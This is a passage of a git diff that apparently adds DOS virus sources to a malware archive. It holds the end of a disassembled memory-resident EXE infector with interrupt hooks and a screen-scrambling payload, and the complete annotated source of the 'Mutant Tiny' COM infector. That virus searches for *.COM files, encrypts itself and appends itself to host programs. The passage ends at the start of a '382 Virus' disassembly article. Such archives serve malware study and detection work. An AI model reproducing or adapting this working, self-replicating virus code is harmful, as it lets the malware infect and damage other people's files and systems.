cx,dx + mov dx,si + pop si + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,di + add dx,1Ch + mov ah,3Fh ; '?' + mov cx,3 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call sub_7 ; (06AB) + jnc loc_46 ; Jump if carry=0 + mov cs:data_58[si],1 ; (6FB8:0155=0) + retn + +; External Entry into Subroutine +; +; Called from: 6FB8:0603, 069F + +sub_7: + cmp word ptr [di+1Ch],4756h + jne loc_45 ; Jump if not equal + cmp byte ptr [di+1Eh],31h ; '1' + jne loc_45 ; Jump if not equal +loc_43: ; xref 6FB8:0657 + stc ; Set carry flag + +loc_ret_44: ; xref 6FB8:06E0 + retn +loc_45: ; xref 6FB8:06B0, 06B6 + clc ; Clear carry flag + retn +loc_46: ; xref 6FB8:06A2 + call sub_9 ; (0764) + mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h) + mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h) + mov cx,[di+4] + shl cx,1 ; Shift w/zeros fill + xchg ch,cl + mov bp,cx + and bp,0FF00h + xor ch,ch ; Zero register + add bp,[di+6] + adc cx,0 + sub bp,ax + sbb cx,dx + jc loc_ret_44 ; Jump if carry Set + push ax + push dx + push word ptr [di+18h] + mov byte ptr [di+18h],0FFh + mov cx,5 + mov ah,40h ; '@' + mov dx,di + add dx,14h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + pop word ptr [di+18h] + mov dx,si + add dx,5 + mov cx,0BF5h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + pop word ptr [di+16h] + pop word ptr [di+14h] + add word ptr [di+14h],0FAh + adc word ptr [di+16h],0 + mov ax,[di+8] + call sub_8 ; (0751) + sub [di+14h],ax + sbb [di+16h],dx + mov cl,0Ch + shl word ptr [di+16h],cl ; Shift w/zeros fill + mov ax,0BFAh + add ax,[di+2] + mov [di+2],ax + and word ptr [di+2],1FFh + mov al,ah + xor ah,ah ; Zero register + shr ax,1 ; Shift w/zeros fill + add [di+4],ax + mov dx,di + mov cx,1Ch + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + clc ; Clear carry flag + retn +sub_6 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0684, 0721 +; + +sub_8 proc near + xor dx,dx ; Zero register + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + retn +sub_8 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:05E0, 060F, 06BC +; + +sub_9 proc near + xor dx,dx ; Zero register + xor cx,cx ; Zero register + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + retn +sub_9 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0263, 04B2 +; + +sub_10 proc near + xor ax,ax ; Zero register + mov ds,ax + lds di,dword ptr ds:data_11e ; (0000:009C=10BCh) Load 32 bit ptr + lds di,dword ptr [di+1] ; Load 32 bit ptr + mov ax,di + sub di,75Fh + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + mov di,ax + sub di,755h + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + lds di,dword ptr ds:data_27e ; (00AE:0080=4EFFh) Load 32 bit ptr + lds di,dword ptr [di+1] ; Load 32 bit ptr + mov ax,di + sub di,676h + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + mov di,ax + sub di,673h + call sub_11 ; (07AB) + +loc_ret_47: ; xref 6FB8:0782, 078D, 079F + retn +sub_10 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:077F, 078A, 079C, 07A7 +; + +sub_11 proc near + xor dx,dx ; Zero register + cmp word ptr [di],4756h + jne loc_48 ; Jump if not equal + cmp byte ptr [di+2],31h ; '1' + je loc_49 ; Jump if equal +loc_48: ; xref 6FB8:07B1 + inc dx +loc_49: ; xref 6FB8:07B7 + sub di,0F7h + or dx,dx ; Zero ? + retn +sub_11 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870 +; + +sub_12 proc near + mov al,0EAh + stosb ; Store al to es:[di] + mov ax,cx + add ax,si + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + +loc_ret_50: ; xref 6FB8:07CF + retn +sub_12 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:04F4 +; + +sub_13 proc near + or dx,dx ; Zero ? + jz loc_ret_50 ; Jump if zero + push ds + push es + mov es,ds:data_39e[si] ; (6FB8:00E0=0) + mov di,data_46e ; (6FB8:00EC=0) + cld ; Clear direction + mov cx,9A8h + call sub_12 ; (07C1) + mov cx,76Ah + call sub_12 ; (07C1) + mov cx,7BEh + call sub_12 ; (07C1) + mov cx,84Ch + call sub_12 ; (07C1) + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ax,0ECh + xchg ax,ds:data_3e ; (0000:0070=0FF53h) + mov word ptr cs:[0A88h][si],ax ; (6FB8:0A88=49A0h) + mov ax,es + xchg ax,ds:data_4e ; (0000:0072=0F000h) + mov word ptr cs:[0A8Ah][si],ax ; (6FB8:0A8A=0B904h) + mov ax,0F1h + xchg ax,ds:data_5e ; (0000:0080=1094h) + mov word ptr cs:[76Eh][si],ax ; (6FB8:076E=0C033h) + mov ax,es + xchg ax,ds:data_6e ; (0000:0082=123h) + mov word ptr cs:[770h][si],ax ; (6FB8:0770=0D88Eh) + mov ax,0F6h + xchg ax,ds:data_7e ; (0000:0084=109Eh) + mov word ptr cs:[7DCh][si],ax ; (6FB8:07DC=9A8h) + mov ax,es + xchg ax,ds:data_8e ; (0000:0086=123h) + mov word ptr cs:[7DEh][si],ax ; (6FB8:07DE=0E0E8h) + mov ax,0FBh + xchg ax,ds:data_11e ; (0000:009C=10BCh) + mov word ptr cs:[857h][si],ax ; (6FB8:0857=6C3h) + mov ax,es + xchg ax,word ptr ds:data_11e+2 ; (0000:009E=123h) + mov word ptr cs:[859h][si],ax ; (6FB8:0859=848Eh) + pop es + pop ds + sti ; Enable interrupts + retn +sub_13 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:08F2 +; + +sub_14 proc near + push es + mov es,word ptr ds:[0E0h][si] ; (0000:00E0=10DAh) + mov di,data_21e ; (0000:00F1=10h) + cld ; Clear direction + mov cx,76Dh + call sub_12 ; (07C1) + mov cx,7E0h + call sub_12 ; (07C1) + mov cx,856h + call sub_12 ; (07C1) + pop es + retn +sub_14 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:024A, 0938 +; + +sub_15 proc near + push es + xor ax,ax ; Zero register + mov es,ax + mov ax,85Bh + add ax,si + xchg ax,es:data_9e ; (0000:0090=156h) + mov ds:data_18e[si],ax ; (0000:00EA=123h) + mov ax,cs + xchg ax,es:data_10e ; (0000:0092=44Bh) + mov ds:data_19e[si],ax ; (0000:00EC=10DAh) + pop es + mov byte ptr ds:data_20e[si],0 ; (0000:00EE=23h) + retn +sub_15 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0499, 0981 +; + +sub_16 proc near + push es + xor ax,ax ; Zero register + mov es,ax + mov ax,cs:data_45e[si] ; (6FB8:00EA=0) + mov es:data_9e,ax ; (0000:0090=156h) + mov ax,cs:data_46e[si] ; (6FB8:00EC=0) + mov es:data_10e,ax ; (0000:0092=44Bh) + pop es + retn +sub_16 endp + + jmp short loc_53 ; (08EA) + nop +;* jmp far ptr loc_2 ;*(029B:136C) + db 0EAh, 6Ch, 13h, 9Bh, 02h + +; +; SUBROUTINE +; +; Called from: 6FB8:0247, 08CB, 08EC, 0935 +; + +sub_17 proc near + pop bx + push ds + push ax + push ds + push cs + pop ds + call sub_18 ; (08C4) + +; External Entry into Subroutine +; +; Called from: 6FB8:08C1 + +sub_18: + pop si + sub si,77Bh + jmp bx ;*Register jump +loc_51: ; xref 6FB8:0918, 091D + call sub_17 ; (08BB) + push cx + mov ax,[si+7] + mov cx,es + cmp ax,cx + pop cx + pop ds + pop ax + jnz loc_52 ; Jump if not zero + push cs + pop es + cmp ah,49h ; 'I' + je loc_52 ; Jump if equal + add bx,1D0h +loc_52: ; xref 6FB8:08D9, 08E0 + pop ds + jmp short loc_55 ; (0924) + db 90h +loc_53: ; xref 6FB8:08B3, 090A, 0913 + xor dx,dx ; Zero register +loc_54: ; xref 6FB8:090F + call sub_17 ; (08BB) + push es + push dx + cli ; Disable interrupts + call sub_14 ; (0858) + sti ; Enable interrupts + pop ax + mov dx,1D0h + add dx,ax + add dx,10h + pop es + pop ds + pop ax + pop ds + mov ah,31h ; '1' + jmp short loc_55 ; (0924) + cmp ah,4Ch ; 'L' + je loc_53 ; Jump if equal + cmp ah,31h ; '1' + je loc_54 ; Jump if equal + or ah,ah ; Zero ? + jz loc_53 ; Jump if zero + cmp ah,49h ; 'I' + je loc_51 ; Jump if equal + cmp ah,4Ah ; 'J' + je loc_51 ; Jump if equal + cmp ah,4Bh ; 'K' + je loc_56 ; Jump if equal +loc_55: ; xref 6FB8:08E7, 0905, 0993 +;* jmp far ptr loc_4 ;*(0E4C:035D) + db 0EAh, 5Dh, 03h, 4Ch, 0Eh + db 80h,0FCh, 4Bh, 75h,0F6h +loc_56: ; xref 6FB8:0922 + push cx + push dx + push es + push bx + push si + push di + push bp + call sub_17 ; (08BB) + call sub_15 ; (0875) +loc_57: ; xref 6FB8:0941, 0949 + sti ; Enable interrupts + test byte ptr ds:data_26e,2 ; (0000:0972=74h) + jnz loc_57 ; Jump if not zero + cli ; Disable interrupts + test byte ptr ds:data_26e,2 ; (0000:0972=74h) + jnz loc_57 ; Jump if not zero + or byte ptr ds:data_26e,2 ; (0000:0972=74h) + pop ds + mov bx,dx + mov byte ptr cs:data_40e[si],0FFh ; (6FB8:00E2=0) + cmp byte ptr [bx+1],3Ah ; ':' + jne loc_58 ; Jump if not equal + mov al,[bx] + or al,20h ; ' ' + sub al,61h ; 'a' + mov cs:data_40e[si],al ; (6FB8:00E2=0) +loc_58: ; xref 6FB8:095D + push si + push di + push es + cld ; Clear direction + mov si,dx + push cs + pop es + mov di,offset ds:[984h] ; (6FB8:0984=2Eh) +loc_59: ; xref 6FB8:0979 + lodsb ; String [si] to al + stosb ; Store al to es:[di] + or al,al ; Zero ? + jnz loc_59 ; Jump if not zero + pop es + pop di + pop si + call sub_5 ; (056E) + call sub_16 ; (089A) + and byte ptr cs:[972h],0FDh ; (6FB8:0972=0BFh) + pop ax + pop ds + pop bp + pop di + pop si + pop bx + pop es + pop dx + pop cx + jmp short loc_55 ; (0924) +sub_17 endp + + db 83h,0C2h, 0Fh,0B1h, 04h,0D3h + db 0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh + db 5Dh, 9Bh, 02h, 56h,0E8h, 00h + db 00h, 5Eh, 81h,0EEh, 5Fh, 08h + db 2Eh, 80h, 8Ch,0EEh, 00h, 01h + db 5Eh, 32h,0C0h,0CFh, 01h, 00h + db 00h, 00h, 8Ah, 00h, 00h, 00h + db 00h, 5Fh,0FEh, 00h, 00h, 00h + db 00h,0B8h, 00h, 00h, 49h, 00h + db 00h, 00h + db 'A:\TEST3066.COM' + + + db 00h, 00h, 00h, 45h, 58h, 45h + db 00h, 45h, 00h + db 143 dup (0) +loc_60: ; xref 6FB8:0AEF + push cx + push ds + push es + push si + push di + push cs + pop es + cld ; Clear direction + test al,20h ; ' ' + jz loc_63 ; Jump if zero + test al,2 + jnz loc_64 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + mov al,ds:data_25e ; (0000:0449=3) + mov cx,0B800h + cmp al,7 + jne loc_61 ; Jump if not equal + mov cx,0B000h + jmp short loc_62 ; (0A9F) +loc_61: ; xref 6FB8:0A90 + cmp al,2 + je loc_62 ; Jump if equal + cmp al,3 + jne loc_64 ; Jump if not equal +loc_62: ; xref 6FB8:0A95, 0A99 + mov word ptr cs:[97Ch],cx ; (6FB8:097C=5E5Fh) + or byte ptr cs:[972h],2 ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + mov ds,cx + mov cx,7D0h + xor si,si ; Zero register + mov di,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh) + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + xor ax,ax ; Zero register + mov ds,ax + mov ax,0B92h + xchg ax,ds:data_1e ; (0000:0024=45h) + mov word ptr cs:[973h],ax ; (6FB8:0973=984h) + mov ax,cs + xchg ax,ds:data_2e ; (0000:0026=3D1h) + mov word ptr cs:[975h],ax ; (6FB8:0975=0AAACh) +loc_63: ; xref 6FB8:0A7E + mov cx,50h + mov ax,0F00h + mov di,offset data_54 ; (6FB8:0105=9) + rep stosw ; Rep when cx >0 Store ax to es:[di] + and byte ptr cs:[972h],7 ; (6FB8:0972=0BFh) +loc_64: ; xref 6FB8:0A82, 0A9D + pop di + pop si + pop es + pop ds + pop cx + jmp loc_76 ; (0BCF) +loc_65: ; xref 6FB8:0AFE + jmp short loc_60 ; (0A74) + push ax + mov byte ptr cs:[979h],0 ; (6FB8:0979=75h) + mov al,byte ptr cs:[972h] ; (6FB8:0972=0BFh) + test al,60h ; '`' + jnz loc_65 ; Jump if not zero + test al,80h + jz loc_68 ; Jump if zero + cmp word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + je loc_66 ; Jump if equal + inc word ptr cs:[97Eh] ; (6FB8:097E=0EDE8h) + cmp word ptr cs:[97Eh],444h ; (6FB8:097E=0EDE8h) + jl loc_66 ; Jump if < + call sub_19 ; (0C25) + jmp loc_76 ; (0BCF) +loc_66: ; xref 6FB8:0B0A, 0B18 + test al,18h + jz loc_67 ; Jump if zero + dec word ptr cs:[977h] ; (6FB8:0977=0C00Ah) + jnz loc_67 ; Jump if not zero + and byte ptr cs:[972h],0E7h ; (6FB8:0972=0BFh) + or byte ptr cs:[972h],40h ; (6FB8:0972=0BFh) '@' + test al,8 + jz loc_67 ; Jump if zero + or byte ptr cs:[972h],20h ; (6FB8:0972=0BFh) ' ' +loc_67: ; xref 6FB8:0B22, 0B29, 0B39, 0B4C + jmp loc_76 ; (0BCF) +loc_68: ; xref 6FB8:0B02 + xor byte ptr cs:[972h],1 ; (6FB8:0972=0BFh) + test al,1 + jz loc_67 ; Jump if zero + push bx + push si + push ds + mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh) + xor si,si ; Zero register + mov byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh) +loc_69: ; xref 6FB8:0BB5 + mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h) + or bx,bx ; Zero ? + jz loc_70 ; Jump if zero + cmp byte ptr [bx+si],20h ; ' ' + jne loc_70 ; Jump if not equal + cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' ' + je loc_70 ; Jump if equal + mov ax,720h + xchg ax,ds:data_31e[bx+si] ; (5E5F:FF60=0FFFFh) + mov [bx+si],ax + add bx,0A0h +loc_70: ; xref 6FB8:0B65, 0B6A, 0B71 + cmp bx,data_30e ; (5E5F:0FA0=0FFh) + je loc_71 ; Jump if equal + cmp byte ptr [bx+si],20h ; ' ' + jne loc_71 ; Jump if not equal + jnz loc_74 ; Jump if not zero +loc_71: ; xref 6FB8:0B84, 0B89 + mov bx,data_29e ; (5E5F:0F00=0FFh) +loc_72: ; xref 6FB8:0BA2 + cmp byte ptr [bx+si],20h ; ' ' + jne loc_73 ; Jump if not equal + cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' ' + jne loc_74 ; Jump if not equal +loc_73: ; xref 6FB8:0B93 + sub bx,0A0h + or bx,bx ; Zero ? + jnz loc_72 ; Jump if not zero +loc_74: ; xref 6FB8:0B8B, 0B9A + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + or word ptr cs:[96Eh],bx ; (6FB8:096E=0F28Bh) + add si,2 + cmp si,0A0h + jne loc_69 ; Jump if not equal + cmp byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh) + jne loc_75 ; Jump if not equal + or byte ptr cs:[972h],80h ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],1 ; (6FB8:097E=0EDE8h) +loc_75: ; xref 6FB8:0BBD + pop ds + pop si + pop bx +loc_76: ; xref 6FB8:0AEC, 0B1D, 0B41 + pop ax +;* jmp far ptr loc_90 ;*(FC00:3F4D) + db 0EAh, 4Dh, 3Fh, 00h,0FCh +loc_77: ; xref 6FB8:0C32 + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + pop ax + iret ; Interrupt return + db 50h,0E4h, 60h, 2Eh,0A2h, 7Ah + db 09h,0E4h, 61h, 8Ah,0E0h, 0Ch + db 80h,0E6h, 61h, 8Ah,0C4h,0E6h + db 61h, 2Eh, 80h, 3Eh, 79h, 09h + db 00h, 2Eh,0C6h, 06h, 79h, 09h + db 01h, 75h,0D9h, 2Eh,0A0h, 7Ah + db 09h, 3Ch,0F0h, 74h,0D1h, 24h + db 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h + db 2Eh,0A2h, 7Bh, 09h, 74h,0C4h + db 2Eh, 83h, 3Eh, 7Eh, 09h, 00h + db 74h, 07h, 2Eh,0C7h, 06h, 7Eh + db 09h, 01h, 00h,0E8h, 02h, 00h + db 0EBh,0B0h + +; +; SUBROUTINE +; +; Called from: 6FB8:0B1A +; + +sub_19 proc near + mov word ptr cs:[977h],28h ; (6FB8:0977=0C00Ah) + test byte ptr cs:[972h],80h ; (6FB8:0972=0BFh) + jz loc_77 ; Jump if zero + mov byte ptr cs:[970h],1 ; (6FB8:0970=0Eh) + push bx + push si + push ds + mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh) + test byte ptr cs:[972h],10h ; (6FB8:0972=0BFh) + jnz loc_81 ; Jump if not zero + or byte ptr cs:[972h],10h ; (6FB8:0972=0BFh) + xor si,si ; Zero register +loc_78: ; xref 6FB8:0C77 + mov bx,data_29e ; (5E5F:0F00=0FFh) +loc_79: ; xref 6FB8:0C5E + cmp byte ptr [bx+si],20h ; ' ' + je loc_80 ; Jump if equal + sub bx,0A0h + jnc loc_79 ; Jump if carry=0 + mov bx,0F00h +loc_80: ; xref 6FB8:0C58 + add bx,data_28e ; (5E5F:00A0=0FFh) + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh) + inc si + inc si + cmp si,data_37e ; (6FB8:00A0=0) + jne loc_78 ; Jump if not equal +loc_81: ; xref 6FB8:0C48 + xor si,si ; Zero register +loc_82: ; xref 6FB8:0CE4 + cmp cs:data_54[si],0FA0h ; (6FB8:0105=0CD09h) + je loc_88 ; Jump if equal + mov bx,word ptr cs:[980h][si] ; (6FB8:0980=0E8FBh) + mov ax,[bx+si] + cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh) + jne loc_84 ; Jump if not equal + push bx +loc_83: ; xref 6FB8:0CA0, 0CA4 + or bx,bx ; Zero ? + jz loc_86 ; Jump if zero + sub bx,0A0h + cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh) + jne loc_83 ; Jump if not equal + cmp ax,[bx+si] + je loc_83 ; Jump if equal + pop bx +loc_84: ; xref 6FB8:0C90 + or bx,bx ; Zero ? + jnz loc_85 ; Jump if not zero + mov word ptr [si],720h + jmp short loc_87 ; (0CCB) +loc_85: ; xref 6FB8:0CA9 + mov ax,[bx+si] + mov ds:data_31e[bx+si],ax ; (5E5F:FF60=0FFFFh) + mov word ptr [bx+si],720h + sub word ptr cs:[980h][si],0A0h ; (6FB8:0980=0E8FBh) + mov byte ptr cs:[970h],0 ; (6FB8:0970=0Eh) + jmp short loc_88 ; (0CDE) +loc_86: ; xref 6FB8:0C95 + pop bx +loc_87: ; xref 6FB8:0CAF + mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h) + add bx,0A0h + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh) +loc_88: ; xref 6FB8:0C82, 0CC8 + inc si + inc si + cmp si,0A0h + jne loc_82 ; Jump if not equal + cmp byte ptr cs:[970h],0 ; (6FB8:0970=0Eh) + je loc_89 ; Jump if equal + push es + push di + push cx + push ds + pop es + push cs + pop ds + mov si,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh) + xor di,di ; Zero register + mov cx,7D0h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[977h],0FFDCh ; (6FB8:0977=0C00Ah) + and byte ptr cs:[972h],4 ; (6FB8:0972=0BFh) + or byte ptr cs:[972h],88h ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + xor ax,ax ; Zero register + mov ds,ax + mov ax,word ptr cs:[973h] ; (6FB8:0973=984h) + mov ds:data_1e,ax ; (0000:0024=45h) + mov ax,word ptr cs:[975h] ; (6FB8:0975=0AAACh) + mov ds:data_2e,ax ; (0000:0026=3D1h) + pop cx + pop di + pop es +loc_89: ; xref 6FB8:0CEC + pop ds + pop si + pop bx + retn +sub_19 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:04D3, 04EC +; + +sub_20 proc near + cld ; Clear direction + pop ax + sub ax,si + add ax,di + push es + push ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retf ; Return far +sub_20 endp + + db 90h, 50h,0E8h,0E2h, 03h, 8Bh + +seg_a ends + + + + end start + + CROSS REFERENCE - KEY ENTRY POINTS + + seg:off type label + ---- ---- ---- --------------- + 6FB8:0100 far start + + Interrupt Usage Synopsis + + Interrupt 21h : set default drive dl (0=a:) + Interrupt 21h : get default drive al (0=a:) + Interrupt 21h : set DTA to ds:dx + Interrupt 21h : get date, cx=year, dx=mon/day + Interrupt 21h : set current dir, path @ ds:dx + Interrupt 21h : open file, al=mode,name@ds:dx + Interrupt 21h : close file, bx=file handle + Interrupt 21h : read file, cx=bytes, to ds:dx + Interrupt 21h : write file cx=bytes, to ds:dx + Interrupt 21h : move file ptr, cx,dx=offset + Interrupt 21h : get/set file attrb, nam@ds:dx + Interrupt 21h : get present dir,drive dl,1=a: + Interrupt 21h : get/set file date & time + + I/O Port Usage Synopsis + + Port 20h : 8259-1 int command + diff --git a/0-9/334.ASM b/0-9/334.ASM new file mode 100755 index 0000000..6264804 --- /dev/null +++ b/0-9/334.ASM @@ -0,0 +1,252 @@ + +muttiny segment byte public + assume cs:muttiny, ds:muttiny + + org 100h + +start: db 0e9h, 5, 0 ; jmp startvir +restorehere: int 20h +idword: dw 990h +; The next line is incredibly pointless. It is a holdover from one +; of the original TINYs, where the id was 7, 8, 9. The author can +; easily save one byte merely by deleting this line. + db 09h +startvir: + call oldtrick ; Standard location-finder +oldtrick: pop si +; The following statement is a bug -- well, not really a bug, just +; extraneous code. The value pushed on the stack in the following +; line is NEVER popped off. This is messy programming, as one byte +; could be saved by removing the statement. + push si + sub si,offset oldtrick + call encrypt ; Decrypt virus + call savepsp ; and save the PSP +; NOTE: The entire savepsp/restorepsp procedures are unnecessary. +; See the procedures at the end for further details. + jmp short findencryptval ; Go to the rest of the virus +; The next line is another example of messy programming -- it is a +; NOP inserted by MASM during assembly. Running this file through +; TASM with the /m2 switch should eliminate such "fix-ups." + nop +; The next line leaves me guessing as to the author's true intent. + db 0 + +encryptval dw 0h + +encrypt: + push bx ; Save handle +; The following two lines of code could be condensed into one: +; lea bx, [si+offset startencrypt] +; Once again, poor programming style, though there's nothing wrong +; with the code. + mov bx,offset startencrypt + add bx,si +; Continueencrypt is implemented as a jmp-type loop. Although it's +; fine to code it this way, it's probably easier to code using the +; loop statement. Upon close inspection, one finds the loop to be +; flawed. Note the single inc bx statement. This essentially makes +; the encryption value a a byte instead of a word, which decreases +; the number of mutations from 65,535 to 255. Once again, this is +; just poor programming, very easily rectified with another inc bx +; statement. Another optimization could be made. Use a +; mov dx, [si+encryptval] +; to load up the encryption value before the loop, and replace the +; three lines following continueencrypt with a simple: +; xor word ptr [bx], dx +continueencrypt: + mov ax,[bx] + xor ax,word ptr [si+encryptval] + mov [bx],ax + inc bx +; The next two lines should be executed BEFORE continueencrypt. As +; it stands right now, they are recalculated every iteration which +; slows down execution somewhat. Furthermore, the value calculated +; is much too large and this increases execution time. Yet another +; improvement would be the merging of the mov/add pair to the much +; cleaner lea cx, [si+offset endvirus]. + mov cx,offset veryend ; Calculate end of + add cx,si ; encryption: Note + cmp bx,cx ; the value is 246 + jle continueencrypt ; bytes too large. + pop bx + ret +writerest: ; Tack on the virus to the + call encrypt ; end of the file. + mov ah,40h + mov cx,offset endvirus - offset idword + lea dx,[si+offset idword] ; Write starting from the id + int 21h ; word + call encrypt + ret + +startencrypt: +; This is where the encrypted area begins. This could be moved to +; where the ret is in procedure writerest, but it is not necessary +; since it won't affect the "scannability" of the virus. + +findencryptval: + mov ah,2Ch ; Get random # + int 21h ; CX=hr/min dx=sec +; The following chunk of code puzzles me. I admit it, I am totally +; lost as to its purpose. + cmp word ptr [si+offset encryptval],0 + je step_two + cmp word ptr [si+offset encryptval+1],0 + je step_two + cmp dh,0Fh + jle foundencryptionvalue +step_two: ; Check to see if any + cmp dl,0 ; part of the encryption + je findencryptval ; value is 0 and if so, + cmp dh,0 ; find another value. + je findencryptval + mov [si+offset encryptval],dx +foundencryptionvalue: + mov bp,[si+offset oldjmp] ; Set up bp for + add bp,103h ; jmp later + lea dx,[si+filemask] ; '*.COM',0 + xor cx,cx ; Attributes + mov ah,4Eh ; Find first +tryanother: + int 21h + jc quit_virus ; If none found, exit + + mov ax,3D02h ; Open read/write + mov dx,9Eh ; In default DTA + int 21h + + mov cx,3 + mov bx,ax ; Swap file handle register + lea dx,[si+offset buffer] + mov di,dx + call read ; Read 3 bytes + cmp byte ptr [di],0E9h ; Is it a jmp? + je infect +findnext: + mov ah,4Fh ; If not, find next + jmp short tryanother +infect: + mov ax,4200h ; Move file pointer + mov dx,[di+1] ; to jmp location + mov [si+offset oldjmp],dx ; and save old jmp + xor cx,cx ; location + call int21h + jmp short skipcheckinf +; Once again, we meet an infamous MASM-NOP. + nop +; I don't understand why checkinf is implemented as a procedure as +; it is executed but once. It is a waste of code space to do such +; a thing. The ret and call are both extra, wasting four bytes. An +; additional three bytes were wasted on the JMP skipping checkinf. +; In a program called "Tiny," a wasted seven bytes is rather large +; and should not exist. I have written a virus of half the length +; of this virus which is a generic COM infector. There is just too +; too much waste in this program. +checkinf: + cmp word ptr [di],990h ; Is it already + je findnext ; infected? +; The je statement above presents another problem. It leaves stuff +; on the stack from the call. This is, once again, not a critical +; error but nevertheless it is extremely sloppy behavior. + xor dx,dx + xor cx,cx + mov ax,4202h + call int21h ; Goto end of file + ret +skipcheckinf: + mov cx,2 + mov dx,di + call read ; read 2 bytes + call checkinf +; The next check is extraneous. No COM file is larger than 65,535 +; bytes before infection simply because it is "illegal." Yet ano- +; ther waste of code. Even if one were to use this useless check, +; it should be implemented, to save space, as or dx, dx. + cmp dx,0 ; Check if too big + jne findnext + + cmp ah,0FEh ; Check again if too big + jae findnext + mov [si+storejmp],ax ; Save new jmp + call writerest ; location + mov ax,4200h ; Go to offset + mov dx,1 ; 1 in the file + xor cx,cx + call int21h + + mov ah,40h ; and write the new + mov cx,2 ; jmp location + lea dx,[si+storejmp] + call int21h +; I think it is quite obvious that the next line is pointless. It +; is a truly moronic waste of two bytes. + jc closefile +closefile: + mov ah,3Eh ; Close the file + call int21h +quit_virus: + call restorepsp + jmp bp + +read: + mov ah,3Fh ; Read file +; I do not understand why all the int 21h calls are done with this +; procedure. It is a waste of space. A normal int 21h call is two +; bytes long while it's three bytes just to call this procedure! +int21h: + int 21h + ret + + db 'Made in England' + +; Note: The comments for savepsp also apply to restorepsp. + +; This code could have easily been changed to a set active DTA INT +; 21h call (AH = 1Ah). It would have saved many, many bytes. + +savepsp: + mov di,0 +; The following is a bug. It should be +; mov cx, 50h +; since the author decided to use words instead of bytes. + mov cx,100h + push si +; The loop below is dumb. A simple rep movsw statement would have +; sufficed. Instead, countless bytes are wasted on the loop. +storebytes: + mov ax,[di] + mov word ptr [si+pspstore],ax + add si,2 + add di,2 + loop storebytes + pop si + ret + +restorepsp: + mov di,0 + mov cx,100h ; Restore 200h bytes + push si +restorebytes: + mov ax,word ptr [si+pspstore] + mov [di],ax + add si,2 + add di,2 + loop restorebytes + pop si + ret + +oldjmp dw 0 +filemask db '*.COM',0 +idontknow1 db 66h ; Waste of one byte +buffer db 00h, 00h, 01h ; Waste of three bytes +storejmp dw 0 ; Waste of two bytes +; endvirus should be before idontknow1, thereby saving six bytes. +endvirus: +idontknow2 db ?, ? +pspstore db 200 dup (?) ; Should actually be +idontknow3 db 2ch dup (?) ; 100h bytes long. +veryend: ; End of encryption +muttiny ends + end start + diff --git a/0-9/382.ASM b/0-9/382.ASM new file mode 100755 index 0000000..a1ebb8e --- /dev/null +++ b/0-9/382.ASM @@ -0,0 +1,243 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: 382 Virus +Author: Admiral Bailey + + +;=--- +; +; 382 Virus (Family-Q as McAfee 91 calls it) +; +; Disassembled By Admiral Bailey 